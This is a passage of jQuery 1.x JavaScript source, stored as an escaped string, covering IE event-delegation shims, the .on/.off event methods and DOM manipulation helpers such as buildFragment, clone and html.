);\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\n\t\tteardown: function() {\n\t\t\t// Only need this for delegated form submit events\n\t\t\tif ( jQuery.nodeName( this, \"form\" ) ) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t// Remove delegated handlers; cleanData eventually reaps submit handlers attached above\n\t\t\tjQuery.event.remove( this, \"._submit\" );\n\t\t}\n\t};\n}\n\n// IE change delegation and checkbox/radio fix\nif ( !support.changeBubbles ) {\n\n\tjQuery.event.special.change = {\n\n\t\tsetup: function() {\n\n\t\t\tif ( rformElems.test( this.nodeName ) ) {\n\t\t\t\t// IE doesn't fire change on a check/radio until blur; trigger it on click\n\t\t\t\t// after a propertychange. Eat the blur-change in special.change.handle.\n\t\t\t\t// This still fires onchange a second time for check/radio after blur.\n\t\t\t\tif ( this.type === \"checkbox\" || this.type === \"radio\" ) {\n\t\t\t\t\tjQuery.event.add( this, \"propertychange._change\", function( event ) {\n\t\t\t\t\t\tif ( event.originalEvent.propertyName === \"checked\" ) {\n\t\t\t\t\t\t\tthis._just_changed = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\tjQuery.event.add( this, \"click._change\", function( event ) {\n\t\t\t\t\t\tif ( this._just_changed && !event.isTrigger ) {\n\t\t\t\t\t\t\tthis._just_changed = false;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// Allow triggered, simulated change events (#11500)\n\t\t\t\t\t\tjQuery.event.simulate( \"change\", this, event, true );\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t// Delegated event; lazy-add a change handler on descendant inputs\n\t\t\tjQuery.event.add( this, \"beforeactivate._change\", function( e ) {\n\t\t\t\tvar elem = e.target;\n\n\t\t\t\tif ( rformElems.test( elem.nodeName ) && !jQuery._data( elem, \"changeBubbles\" ) ) {\n\t\t\t\t\tjQuery.event.add( elem, \"change._change\", function( event ) {\n\t\t\t\t\t\tif ( this.parentNode && !event.isSimulated && !event.isTrigger ) {\n\t\t\t\t\t\t\tjQuery.event.simulate( \"change\", this.parentNode, event, true );\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t\tjQuery._data( elem, \"changeBubbles\", true );\n\t\t\t\t}\n\t\t\t});\n\t\t},\n\n\t\thandle: function( event ) {\n\t\t\tvar elem = event.target;\n\n\t\t\t// Swallow native change events from checkbox/radio, we already triggered them above\n\t\t\tif ( this !== elem || event.isSimulated || event.isTrigger || (elem.type !== \"radio\" && elem.type !== \"checkbox\") ) {\n\t\t\t\treturn event.handleObj.handler.apply( this, arguments );\n\t\t\t}\n\t\t},\n\n\t\tteardown: function() {\n\t\t\tjQuery.event.remove( this, \"._change\" );\n\n\t\t\treturn !rformElems.test( this.nodeName );\n\t\t}\n\t};\n}\n\n// Create \"bubbling\" focus and blur events\nif ( !support.focusinBubbles ) {\n\tjQuery.each({ focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\n\t\t// Attach a single capturing handler on the document while someone wants focusin/focusout\n\t\tvar handler = function( event ) {\n\t\t\t\tjQuery.event.simulate( fix, event.target, jQuery.event.fix( event ), true );\n\t\t\t};\n\n\t\tjQuery.event.special[ fix ] = {\n\t\t\tsetup: function() {\n\t\t\t\tvar doc = this.ownerDocument || this,\n\t\t\t\t\tattaches = jQuery._data( doc, fix );\n\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tdoc.addEventListener( orig, handler, true );\n\t\t\t\t}\n\t\t\t\tjQuery._data( doc, fix, ( attaches || 0 ) + 1 );\n\t\t\t},\n\t\t\tteardown: function() {\n\t\t\t\tvar doc = this.ownerDocument || this,\n\t\t\t\t\tattaches = jQuery._data( doc, fix ) - 1;\n\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tdoc.removeEventListener( orig, handler, true );\n\t\t\t\t\tjQuery._removeData( doc, fix );\n\t\t\t\t} else {\n\t\t\t\t\tjQuery._data( doc, fix, attaches );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t});\n}\n\njQuery.fn.extend({\n\n\ton: function( types, selector, data, fn, /*INTERNAL*/ one ) {\n\t\tvar type, origFn;\n\n\t\t// Types can be a map of types/handlers\n\t\tif ( typeof types === \"object\" ) {\n\t\t\t// ( types-Object, selector, data )\n\t\t\tif ( typeof selector !== \"string\" ) {\n\t\t\t\t// ( types-Object, data )\n\t\t\t\tdata = data || selector;\n\t\t\t\tselector = undefined;\n\t\t\t}\n\t\t\tfor ( type in types ) {\n\t\t\t\tthis.on( type, selector, data, types[ type ], one );\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\n\t\tif ( data == null && fn == null ) {\n\t\t\t// ( types, fn )\n\t\t\tfn = selector;\n\t\t\tdata = selector = undefined;\n\t\t} else if ( fn == null ) {\n\t\t\tif ( typeof selector === \"string\" ) {\n\t\t\t\t// ( types, selector, fn )\n\t\t\t\tfn = data;\n\t\t\t\tdata = undefined;\n\t\t\t} else {\n\t\t\t\t// ( types, data, fn )\n\t\t\t\tfn = data;\n\t\t\t\tdata = selector;\n\t\t\t\tselector = undefined;\n\t\t\t}\n\t\t}\n\t\tif ( fn === false ) {\n\t\t\tfn = returnFalse;\n\t\t} else if ( !fn ) {\n\t\t\treturn this;\n\t\t}\n\n\t\tif ( one === 1 ) {\n\t\t\torigFn = fn;\n\t\t\tfn = function( event ) {\n\t\t\t\t// Can use an empty set, since event contains the info\n\t\t\t\tjQuery().off( event );\n\t\t\t\treturn origFn.apply( this, arguments );\n\t\t\t};\n\t\t\t// Use same guid so caller can remove using origFn\n\t\t\tfn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );\n\t\t}\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.add( this, types, fn, data, selector );\n\t\t});\n\t},\n\tone: function( types, selector, data, fn ) {\n\t\treturn this.on( types, selector, data, fn, 1 );\n\t},\n\toff: function( types, selector, fn ) {\n\t\tvar handleObj, type;\n\t\tif ( types && types.preventDefault && types.handleObj ) {\n\t\t\t// ( event )  dispatched jQuery.Event\n\t\t\thandleObj = types.handleObj;\n\t\t\tjQuery( types.delegateTarget ).off(\n\t\t\t\thandleObj.namespace ? handleObj.origType + \".\" + handleObj.namespace : handleObj.origType,\n\t\t\t\thandleObj.selector,\n\t\t\t\thandleObj.handler\n\t\t\t);\n\t\t\treturn this;\n\t\t}\n\t\tif ( typeof types === \"object\" ) {\n\t\t\t// ( types-object [, selector] )\n\t\t\tfor ( type in types ) {\n\t\t\t\tthis.off( type, selector, types[ type ] );\n\t\t\t}\n\t\t\treturn this;\n\t\t}\n\t\tif ( selector === false || typeof selector === \"function\" ) {\n\t\t\t// ( types [, fn] )\n\t\t\tfn = selector;\n\t\t\tselector = undefined;\n\t\t}\n\t\tif ( fn === false ) {\n\t\t\tfn = returnFalse;\n\t\t}\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.remove( this, types, fn, selector );\n\t\t});\n\t},\n\n\ttrigger: function( type, data ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t});\n\t},\n\ttriggerHandler: function( type, data ) {\n\t\tvar elem = this[0];\n\t\tif ( elem ) {\n\t\t\treturn jQuery.event.trigger( type, data, elem, true );\n\t\t}\n\t}\n});\n\n\nfunction createSafeFragment( document ) {\n\tvar list = nodeNames.split( \"|\" ),\n\t\tsafeFrag = document.createDocumentFragment();\n\n\tif ( safeFrag.createElement ) {\n\t\twhile ( list.length ) {\n\t\t\tsafeFrag.createElement(\n\t\t\t\tlist.pop()\n\t\t\t);\n\t\t}\n\t}\n\treturn safeFrag;\n}\n\nvar nodeNames = \"abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|\" +\n\t\t\"header|hgroup|mark|meter|nav|output|progress|section|summary|time|video\",\n\trinlinejQuery = / jQuery\\d+=\"(?:null|\\d+)\"/g,\n\trnoshimcache = new RegExp(\"<(?:\" + nodeNames + \")[\\\\s/>]\", \"i\"),\n\trleadingWhitespace = /^\\s+/,\n\trxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/gi,\n\trtagName = /<([\\w:]+)/,\n\trtbody = /<tbody/i,\n\trhtml = /<|&#?\\w+;/,\n\trnoInnerhtml = /<(?:script|style|link)/i,\n\t// checked=\"checked\" or checked\n\trchecked = /checked\\s*(?:[^=]|=\\s*.checked.)/i,\n\trscriptType = /^$|\\/(?:java|ecma)script/i,\n\trscriptTypeMasked = /^true\\/(.*)/,\n\trcleanScript = /^\\s*<!(?:\\[CDATA\\[|--)|(?:\\]\\]|--)>\\s*$/g,\n\n\t// We have to close these tags to support XHTML (#13200)\n\twrapMap = {\n\t\toption: [ 1, \"<select multiple='multiple'>\", \"</select>\" ],\n\t\tlegend: [ 1, \"<fieldset>\", \"</fieldset>\" ],\n\t\tarea: [ 1, \"<map>\", \"</map>\" ],\n\t\tparam: [ 1, \"<object>\", \"</object>\" ],\n\t\tthead: [ 1, \"<table>\", \"</table>\" ],\n\t\ttr: [ 2, \"<table><tbody>\", \"</tbody></table>\" ],\n\t\tcol: [ 2, \"<table><tbody></tbody><colgroup>\", \"</colgroup></table>\" ],\n\t\ttd: [ 3, \"<table><tbody><tr>\", \"</tr></tbody></table>\" ],\n\n\t\t// IE6-8 can't serialize link, script, style, or any html5 (NoScope) tags,\n\t\t// unless wrapped in a div with non-breaking characters in front of it.\n\t\t_default: support.htmlSerialize ? [ 0, \"\", \"\" ] : [ 1, \"X<div>\", \"</div>\"  ]\n\t},\n\tsafeFragment = createSafeFragment( document ),\n\tfragmentDiv = safeFragment.appendChild( document.createElement(\"div\") );\n\nwrapMap.optgroup = wrapMap.option;\nwrapMap.tbody = wrapMap.tfoot = wrapMap.colgroup = wrapMap.caption = wrapMap.thead;\nwrapMap.th = wrapMap.td;\n\nfunction getAll( context, tag ) {\n\tvar elems, elem,\n\t\ti = 0,\n\t\tfound = typeof context.getElementsByTagName !== strundefined ? context.getElementsByTagName( tag || \"*\" ) :\n\t\t\ttypeof context.querySelectorAll !== strundefined ? context.querySelectorAll( tag || \"*\" ) :\n\t\t\tundefined;\n\n\tif ( !found ) {\n\t\tfor ( found = [], elems = context.childNodes || context; (elem = elems[i]) != null; i++ ) {\n\t\t\tif ( !tag || jQuery.nodeName( elem, tag ) ) {\n\t\t\t\tfound.push( elem );\n\t\t\t} else {\n\t\t\t\tjQuery.merge( found, getAll( elem, tag ) );\n\t\t\t}\n\t\t}\n\t}\n\n\treturn tag === undefined || tag && jQuery.nodeName( context, tag ) ?\n\t\tjQuery.merge( [ context ], found ) :\n\t\tfound;\n}\n\n// Used in buildFragment, fixes the defaultChecked property\nfunction fixDefaultChecked( elem ) {\n\tif ( rcheckableType.test( elem.type ) ) {\n\t\telem.defaultChecked = elem.checked;\n\t}\n}\n\n// Support: IE<8\n// Manipulating tables requires a tbody\nfunction manipulationTarget( elem, content ) {\n\treturn jQuery.nodeName( elem, \"table\" ) &&\n\t\tjQuery.nodeName( content.nodeType !== 11 ? content : content.firstChild, \"tr\" ) ?\n\n\t\telem.getElementsByTagName(\"tbody\")[0] ||\n\t\t\telem.appendChild( elem.ownerDocument.createElement(\"tbody\") ) :\n\t\telem;\n}\n\n// Replace/restore the type attribute of script elements for safe DOM manipulation\nfunction disableScript( elem ) {\n\telem.type = (jQuery.find.attr( elem, \"type\" ) !== null) + \"/\" + elem.type;\n\treturn elem;\n}\nfunction restoreScript( elem ) {\n\tvar match = rscriptTypeMasked.exec( elem.type );\n\tif ( match ) {\n\t\telem.type = match[1];\n\t} else {\n\t\telem.removeAttribute(\"type\");\n\t}\n\treturn elem;\n}\n\n// Mark scripts as having already been evaluated\nfunction setGlobalEval( elems, refElements ) {\n\tvar elem,\n\t\ti = 0;\n\tfor ( ; (elem = elems[i]) != null; i++ ) {\n\t\tjQuery._data( elem, \"globalEval\", !refElements || jQuery._data( refElements[i], \"globalEval\" ) );\n\t}\n}\n\nfunction cloneCopyEvent( src, dest ) {\n\n\tif ( dest.nodeType !== 1 || !jQuery.hasData( src ) ) {\n\t\treturn;\n\t}\n\n\tvar type, i, l,\n\t\toldData = jQuery._data( src ),\n\t\tcurData = jQuery._data( dest, oldData ),\n\t\tevents = oldData.events;\n\n\tif ( events ) {\n\t\tdelete curData.handle;\n\t\tcurData.events = {};\n\n\t\tfor ( type in events ) {\n\t\t\tfor ( i = 0, l = events[ type ].length; i < l; i++ ) {\n\t\t\t\tjQuery.event.add( dest, type, events[ type ][ i ] );\n\t\t\t}\n\t\t}\n\t}\n\n\t// make the cloned public data object a copy from the original\n\tif ( curData.data ) {\n\t\tcurData.data = jQuery.extend( {}, curData.data );\n\t}\n}\n\nfunction fixCloneNodeIssues( src, dest ) {\n\tvar nodeName, e, data;\n\n\t// We do not need to do anything for non-Elements\n\tif ( dest.nodeType !== 1 ) {\n\t\treturn;\n\t}\n\n\tnodeName = dest.nodeName.toLowerCase();\n\n\t// IE6-8 copies events bound via attachEvent when using cloneNode.\n\tif ( !support.noCloneEvent && dest[ jQuery.expando ] ) {\n\t\tdata = jQuery._data( dest );\n\n\t\tfor ( e in data.events ) {\n\t\t\tjQuery.removeEvent( dest, e, data.handle );\n\t\t}\n\n\t\t// Event data gets referenced instead of copied if the expando gets copied too\n\t\tdest.removeAttribute( jQuery.expando );\n\t}\n\n\t// IE blanks contents when cloning scripts, and tries to evaluate newly-set text\n\tif ( nodeName === \"script\" && dest.text !== src.text ) {\n\t\tdisableScript( dest ).text = src.text;\n\t\trestoreScript( dest );\n\n\t// IE6-10 improperly clones children of object elements using classid.\n\t// IE10 throws NoModificationAllowedError if parent is null, #12132.\n\t} else if ( nodeName === \"object\" ) {\n\t\tif ( dest.parentNode ) {\n\t\t\tdest.outerHTML = src.outerHTML;\n\t\t}\n\n\t\t// This path appears unavoidable for IE9. When cloning an object\n\t\t// element in IE9, the outerHTML strategy above is not sufficient.\n\t\t// If the src has innerHTML and the destination does not,\n\t\t// copy the src.innerHTML into the dest.innerHTML. #10324\n\t\tif ( support.html5Clone && ( src.innerHTML && !jQuery.trim(dest.innerHTML) ) ) {\n\t\t\tdest.innerHTML = src.innerHTML;\n\t\t}\n\n\t} else if ( nodeName === \"input\" && rcheckableType.test( src.type ) ) {\n\t\t// IE6-8 fails to persist the checked state of a cloned checkbox\n\t\t// or radio button. Worse, IE6-7 fail to give the cloned element\n\t\t// a checked appearance if the defaultChecked value isn't also set\n\n\t\tdest.defaultChecked = dest.checked = src.checked;\n\n\t\t// IE6-7 get confused and end up setting the value of a cloned\n\t\t// checkbox/radio button to an empty string instead of \"on\"\n\t\tif ( dest.value !== src.value ) {\n\t\t\tdest.value = src.value;\n\t\t}\n\n\t// IE6-8 fails to return the selected option to the default selected\n\t// state when cloning options\n\t} else if ( nodeName === \"option\" ) {\n\t\tdest.defaultSelected = dest.selected = src.defaultSelected;\n\n\t// IE6-8 fails to set the defaultValue to the correct value when\n\t// cloning other types of input fields\n\t} else if ( nodeName === \"input\" || nodeName === \"textarea\" ) {\n\t\tdest.defaultValue = src.defaultValue;\n\t}\n}\n\njQuery.extend({\n\tclone: function( elem, dataAndEvents, deepDataAndEvents ) {\n\t\tvar destElements, node, clone, i, srcElements,\n\t\t\tinPage = jQuery.contains( elem.ownerDocument, elem );\n\n\t\tif ( support.html5Clone || jQuery.isXMLDoc(elem) || !rnoshimcache.test( \"<\" + elem.nodeName + \">\" ) ) {\n\t\t\tclone = elem.cloneNode( true );\n\n\t\t// IE<=8 does not properly clone detached, unknown element nodes\n\t\t} else {\n\t\t\tfragmentDiv.innerHTML = elem.outerHTML;\n\t\t\tfragmentDiv.removeChild( clone = fragmentDiv.firstChild );\n\t\t}\n\n\t\tif ( (!support.noCloneEvent || !support.noCloneChecked) &&\n\t\t\t\t(elem.nodeType === 1 || elem.nodeType === 11) && !jQuery.isXMLDoc(elem) ) {\n\n\t\t\t// We eschew Sizzle here for performance reasons: http://jsperf.com/getall-vs-sizzle/2\n\t\t\tdestElements = getAll( clone );\n\t\t\tsrcElements = getAll( elem );\n\n\t\t\t// Fix all IE cloning issues\n\t\t\tfor ( i = 0; (node = srcElements[i]) != null; ++i ) {\n\t\t\t\t// Ensure that the destination node is not null; Fixes #9587\n\t\t\t\tif ( destElements[i] ) {\n\t\t\t\t\tfixCloneNodeIssues( node, destElements[i] );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Copy the events from the original to the clone\n\t\tif ( dataAndEvents ) {\n\t\t\tif ( deepDataAndEvents ) {\n\t\t\t\tsrcElements = srcElements || getAll( elem );\n\t\t\t\tdestElements = destElements || getAll( clone );\n\n\t\t\t\tfor ( i = 0; (node = srcElements[i]) != null; i++ ) {\n\t\t\t\t\tcloneCopyEvent( node, destElements[i] );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tcloneCopyEvent( elem, clone );\n\t\t\t}\n\t\t}\n\n\t\t// Preserve script evaluation history\n\t\tdestElements = getAll( clone, \"script\" );\n\t\tif ( destElements.length > 0 ) {\n\t\t\tsetGlobalEval( destElements, !inPage && getAll( elem, \"script\" ) );\n\t\t}\n\n\t\tdestElements = srcElements = node = null;\n\n\t\t// Return the cloned set\n\t\treturn clone;\n\t},\n\n\tbuildFragment: function( elems, context, scripts, selection ) {\n\t\tvar j, elem, contains,\n\t\t\ttmp, tag, tbody, wrap,\n\t\t\tl = elems.length,\n\n\t\t\t// Ensure a safe fragment\n\t\t\tsafe = createSafeFragment( context ),\n\n\t\t\tnodes = [],\n\t\t\ti = 0;\n\n\t\tfor ( ; i < l; i++ ) {\n\t\t\telem = elems[ i ];\n\n\t\t\tif ( elem || elem === 0 ) {\n\n\t\t\t\t// Add nodes directly\n\t\t\t\tif ( jQuery.type( elem ) === \"object\" ) {\n\t\t\t\t\tjQuery.merge( nodes, elem.nodeType ? [ elem ] : elem );\n\n\t\t\t\t// Convert non-html into a text node\n\t\t\t\t} else if ( !rhtml.test( elem ) ) {\n\t\t\t\t\tnodes.push( context.createTextNode( elem ) );\n\n\t\t\t\t// Convert html into DOM nodes\n\t\t\t\t} else {\n\t\t\t\t\ttmp = tmp || safe.appendChild( context.createElement(\"div\") );\n\n\t\t\t\t\t// Deserialize a standard representation\n\t\t\t\t\ttag = (rtagName.exec( elem ) || [ \"\", \"\" ])[ 1 ].toLowerCase();\n\t\t\t\t\twrap = wrapMap[ tag ] || wrapMap._default;\n\n\t\t\t\t\ttmp.innerHTML = wrap[1] + elem.replace( rxhtmlTag, \"<$1></$2>\" ) + wrap[2];\n\n\t\t\t\t\t// Descend through wrappers to the right content\n\t\t\t\t\tj = wrap[0];\n\t\t\t\t\twhile ( j-- ) {\n\t\t\t\t\t\ttmp = tmp.lastChild;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Manually add leading whitespace removed by IE\n\t\t\t\t\tif ( !support.leadingWhitespace && rleadingWhitespace.test( elem ) ) {\n\t\t\t\t\t\tnodes.push( context.createTextNode( rleadingWhitespace.exec( elem )[0] ) );\n\t\t\t\t\t}\n\n\t\t\t\t\t// Remove IE's autoinserted <tbody> from table fragments\n\t\t\t\t\tif ( !support.tbody ) {\n\n\t\t\t\t\t\t// String was a <table>, *may* have spurious <tbody>\n\t\t\t\t\t\telem = tag === \"table\" && !rtbody.test( elem ) ?\n\t\t\t\t\t\t\ttmp.firstChild :\n\n\t\t\t\t\t\t\t// String was a bare <thead> or <tfoot>\n\t\t\t\t\t\t\twrap[1] === \"<table>\" && !rtbody.test( elem ) ?\n\t\t\t\t\t\t\t\ttmp :\n\t\t\t\t\t\t\t\t0;\n\n\t\t\t\t\t\tj = elem && elem.childNodes.length;\n\t\t\t\t\t\twhile ( j-- ) {\n\t\t\t\t\t\t\tif ( jQuery.nodeName( (tbody = elem.childNodes[j]), \"tbody\" ) && !tbody.childNodes.length ) {\n\t\t\t\t\t\t\t\telem.removeChild( tbody );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\tjQuery.merge( nodes, tmp.childNodes );\n\n\t\t\t\t\t// Fix #12392 for WebKit and IE > 9\n\t\t\t\t\ttmp.textContent = \"\";\n\n\t\t\t\t\t// Fix #12392 for oldIE\n\t\t\t\t\twhile ( tmp.firstChild ) {\n\t\t\t\t\t\ttmp.removeChild( tmp.firstChild );\n\t\t\t\t\t}\n\n\t\t\t\t\t// Remember the top-level container for proper cleanup\n\t\t\t\t\ttmp = safe.lastChild;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Fix #11356: Clear elements from fragment\n\t\tif ( tmp ) {\n\t\t\tsafe.removeChild( tmp );\n\t\t}\n\n\t\t// Reset defaultChecked for any radios and checkboxes\n\t\t// about to be appended to the DOM in IE 6/7 (#8060)\n\t\tif ( !support.appendChecked ) {\n\t\t\tjQuery.grep( getAll( nodes, \"input\" ), fixDefaultChecked );\n\t\t}\n\n\t\ti = 0;\n\t\twhile ( (elem = nodes[ i++ ]) ) {\n\n\t\t\t// #4087 - If origin and destination elements are the same, and this is\n\t\t\t// that element, do not do anything\n\t\t\tif ( selection && jQuery.inArray( elem, selection ) !== -1 ) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tcontains = jQuery.contains( elem.ownerDocument, elem );\n\n\t\t\t// Append to fragment\n\t\t\ttmp = getAll( safe.appendChild( elem ), \"script\" );\n\n\t\t\t// Preserve script evaluation history\n\t\t\tif ( contains ) {\n\t\t\t\tsetGlobalEval( tmp );\n\t\t\t}\n\n\t\t\t// Capture executables\n\t\t\tif ( scripts ) {\n\t\t\t\tj = 0;\n\t\t\t\twhile ( (elem = tmp[ j++ ]) ) {\n\t\t\t\t\tif ( rscriptType.test( elem.type || \"\" ) ) {\n\t\t\t\t\t\tscripts.push( elem );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttmp = null;\n\n\t\treturn safe;\n\t},\n\n\tcleanData: function( elems, /* internal */ acceptData ) {\n\t\tvar elem, type, id, data,\n\t\t\ti = 0,\n\t\t\tinternalKey = jQuery.expando,\n\t\t\tcache = jQuery.cache,\n\t\t\tdeleteExpando = support.deleteExpando,\n\t\t\tspecial = jQuery.event.special;\n\n\t\tfor ( ; (elem = elems[i]) != null; i++ ) {\n\t\t\tif ( acceptData || jQuery.acceptData( elem ) ) {\n\n\t\t\t\tid = elem[ internalKey ];\n\t\t\t\tdata = id && cache[ id ];\n\n\t\t\t\tif ( data ) {\n\t\t\t\t\tif ( data.events ) {\n\t\t\t\t\t\tfor ( type in data.events ) {\n\t\t\t\t\t\t\tif ( special[ type ] ) {\n\t\t\t\t\t\t\t\tjQuery.event.remove( elem, type );\n\n\t\t\t\t\t\t\t// This is a shortcut to avoid jQuery.event.remove's overhead\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tjQuery.removeEvent( elem, type, data.handle );\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Remove cache only if it was not already removed by jQuery.event.remove\n\t\t\t\t\tif ( cache[ id ] ) {\n\n\t\t\t\t\t\tdelete cache[ id ];\n\n\t\t\t\t\t\t// IE does not allow us to delete expando properties from nodes,\n\t\t\t\t\t\t// nor does it have a removeAttribute function on Document nodes;\n\t\t\t\t\t\t// we must handle all of these cases\n\t\t\t\t\t\tif ( deleteExpando ) {\n\t\t\t\t\t\t\tdelete elem[ internalKey ];\n\n\t\t\t\t\t\t} else if ( typeof elem.removeAttribute !== strundefined ) {\n\t\t\t\t\t\t\telem.removeAttribute( internalKey );\n\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\telem[ internalKey ] = null;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdeletedIds.push( id );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n});\n\njQuery.fn.extend({\n\ttext: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\treturn value === undefined ?\n\t\t\t\tjQuery.text( this ) :\n\t\t\t\tthis.empty().append( ( this[0] && this[0].ownerDocument || document ).createTextNode( value ) );\n\t\t}, null, value, arguments.length );\n\t},\n\n\tappend: function() {\n\t\treturn this.domManip( arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.appendChild( elem );\n\t\t\t}\n\t\t});\n\t},\n\n\tprepend: function() {\n\t\treturn this.domManip( arguments, function( elem ) {\n\t\t\tif ( this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9 ) {\n\t\t\t\tvar target = manipulationTarget( this, elem );\n\t\t\t\ttarget.insertBefore( elem, target.firstChild );\n\t\t\t}\n\t\t});\n\t},\n\n\tbefore: function() {\n\t\treturn this.domManip( arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this );\n\t\t\t}\n\t\t});\n\t},\n\n\tafter: function() {\n\t\treturn this.domManip( arguments, function( elem ) {\n\t\t\tif ( this.parentNode ) {\n\t\t\t\tthis.parentNode.insertBefore( elem, this.nextSibling );\n\t\t\t}\n\t\t});\n\t},\n\n\tremove: function( selector, keepData /* Internal Use Only */ ) {\n\t\tvar elem,\n\t\t\telems = selector ? jQuery.filter( selector, this ) : this,\n\t\t\ti = 0;\n\n\t\tfor ( ; (elem = elems[i]) != null; i++ ) {\n\n\t\t\tif ( !keepData && elem.nodeType === 1 ) {\n\t\t\t\tjQuery.cleanData( getAll( elem ) );\n\t\t\t}\n\n\t\t\tif ( elem.parentNode ) {\n\t\t\t\tif ( keepData && jQuery.contains( elem.ownerDocument, elem ) ) {\n\t\t\t\t\tsetGlobalEval( getAll( elem, \"script\" ) );\n\t\t\t\t}\n\t\t\t\telem.parentNode.removeChild( elem );\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tempty: function() {\n\t\tvar elem,\n\t\t\ti = 0;\n\n\t\tfor ( ; (elem = this[i]) != null; i++ ) {\n\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\t\t\t}\n\n\t\t\t// Remove any remaining nodes\n\t\t\twhile ( elem.firstChild ) {\n\t\t\t\telem.removeChild( elem.firstChild );\n\t\t\t}\n\n\t\t\t// If this is a select, ensure that it displays empty (#12336)\n\t\t\t// Support: IE<9\n\t\t\tif ( elem.options && jQuery.nodeName( elem, \"select\" ) ) {\n\t\t\t\telem.options.length = 0;\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tclone: function( dataAndEvents, deepDataAndEvents ) {\n\t\tdataAndEvents = dataAndEvents == null ? false : dataAndEvents;\n\t\tdeepDataAndEvents = deepDataAndEvents == null ? dataAndEvents : deepDataAndEvents;\n\n\t\treturn this.map(function() {\n\t\t\treturn jQuery.clone( this, dataAndEvents, deepDataAndEvents );\n\t\t});\n\t},\n\n\thtml: function( value ) {\n\t\treturn access( this, function( value ) {\n\t\t\tvar elem = this[ 0 ] || {},\n\t\t\t\ti = 0,\n\t\t\t\tl = this.length;\n\n\t\t\tif ( value === undefined ) {\n\t\t\t\treturn elem.nodeType === 1 ?\n\t\t\t\t\telem.innerHTML.replace( rinlinejQuery, \"\" ) :\n\t\t\t\t\tundefined;\n\t\t\t}\n\n\t\t\t// See if we can take a shortcut and just use innerHTML\n\t\t\tif ( typeof value === \"string\" && !rnoInnerhtml.test( value ) &&\n\t\t\t\t( support.htmlSerialize || !rnoshimcache.test( value )  ) &&\n\t\t\t\t( support.leadingWhitespace || !rleadingWhitespace.test( value ) ) &&\n\t\t\t\t!wrapMap[ (rtagName.exec( value ) || [ \"\", \"\" ])[ 1 ].toLowerCase() ] ) {\n\n\t\t\t\tvalue = value.replace( rxhtmlTag, \"<$1></$2>\" );\n\n\t\t\t\ttry {\n\t\t\t\t\tfor (; i < l; i++ ) {\n\t\t\t\t\t\t// Remove element nodes and prevent memory leaks\n\t\t\t\t\t\telem = this[i] || {};\n\t\t\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\t\t\tjQuery.cleanData( getAll( elem, false ) );\n\t\t\t\t\t\t\telem.innerHTML = value;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\telem = 0;\n\n\t\t\t\t// If using innerHTML throws an exception, use the fallback method\n\t\t\t\t} catch(e) {}\n\t\t\t}\n\n\t\t\tif ( elem ) {\n\t\t\t\tthis.empty().append( value );\n\t\t\t}\n\t\t}, null, value, arguments.length );\n\t},\n\n\treplaceWith: function() {\n\t\tvar arg = arguments[ 0 ];\n\n\t\t// Make the changes, replacing each context element with the new content\n\t\tthis.domManip( arguments, function( elem ) {\n\t\t\targ = this.parentNode;\n\n\t\t\tjQuery.cleanData( getAll( this ) );\n\n\t\t\tif ( arg ) {\n\t\t\t\targ.replaceChild( elem, this );\n\t\t\t}\n\t\t});\n\n\t\t// Force removal if there was no new content (e.g., from empty arguments)\n\t\treturn arg && (arg.length || arg.nodeType) ? this : this.remove();\n\t},\n\n\tdetach: function( selector ) {\n\t\treturn this.remove( selector, true );\n\t},\n\n\tdomManip: function( args, callback ) {\n\n\t\t// Flatten any nested arrays\n\t\targs = concat.apply( [], args );\n\n\t\tvar first, node, hasScripts,\n\t\t\tscripts, doc, fragment,\n\t\t\ti = 0,\n\t\t\tl = this.length,\n\t\t\tset = this,\n\t\t\tiNoClone = l - 1,\n\t\t\tvalue = args[0],\n\t\t\tisFunction = jQuery.isFunction( value );\n\n\t\t// We can't cloneNode 